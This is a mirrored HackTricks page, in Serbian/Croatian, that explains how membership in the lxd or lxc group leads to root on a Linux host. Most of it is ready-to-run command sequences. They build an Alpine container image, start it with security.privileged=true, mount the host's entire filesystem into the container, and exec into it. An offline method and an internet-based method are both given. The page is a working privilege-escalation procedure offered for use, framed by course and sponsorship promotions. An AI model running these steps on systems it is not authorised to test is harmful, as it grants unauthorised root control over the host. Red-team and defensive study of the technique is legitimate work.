mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
122 lines
5.6 KiB
Markdown
122 lines
5.6 KiB
Markdown
# lxd/lxc Grupa - Eskalacija privilegija
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root.
|
|
|
|
## Eksploatacija bez interneta
|
|
|
|
### Metoda 1
|
|
|
|
Možete instalirati na vašem računaru ovaj alat za izgradnju distribucije: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
|
```bash
|
|
sudo su
|
|
#Install requirements
|
|
sudo apt update
|
|
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
|
#Clone repo
|
|
git clone https://github.com/lxc/distrobuilder
|
|
#Make distrobuilder
|
|
cd distrobuilder
|
|
make
|
|
#Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
#Create the container
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
|
```
|
|
Postavite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
|
|
# Check the image is there
|
|
lxc image list
|
|
|
|
# Create the container
|
|
lxc init alpine privesc -c security.privileged=true
|
|
|
|
# List containers
|
|
lxc list
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
{% hint style="danger" %}
|
|
Ako pronađete ovu grešku _**Greška: Nije pronađen skladišni prostor. Molimo kreirajte novi skladišni prostor**_\
|
|
Pokrenite **`lxd init`** i **ponovite** prethodni blok komandi
|
|
{% endhint %}
|
|
|
|
Na kraju možete izvršiti kontejner i dobiti root pristup:
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
### Metoda 2
|
|
|
|
Izgradite Alpine sliku i pokrenite je koristeći zastavicu `security.privileged=true`, prisiljavajući kontejner da interaguje kao root sa host fajl sistemom.
|
|
```bash
|
|
# build a simple alpine image
|
|
git clone https://github.com/saghul/lxd-alpine-builder
|
|
cd lxd-alpine-builder
|
|
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
|
|
sudo ./build-alpine -a i686
|
|
|
|
# import the image
|
|
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
|
|
|
|
# before running the image, start and configure the lxd storage pool as default
|
|
lxd init
|
|
|
|
# run the image
|
|
lxc init myimage mycontainer -c security.privileged=true
|
|
|
|
# mount the /root into the image
|
|
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
|
|
|
# interact with the container
|
|
lxc start mycontainer
|
|
lxc exec mycontainer /bin/sh
|
|
```
|
|
Alternativno [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
|
|
|
|
## Sa internetom
|
|
|
|
Možete pratiti [ove instrukcije](https://reboare.github.io/lxd/lxd-escape.html).
|
|
```bash
|
|
lxc init ubuntu:16.04 test -c security.privileged=true
|
|
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
|
lxc start test
|
|
lxc exec test bash
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
## Reference
|
|
|
|
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
|
|
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|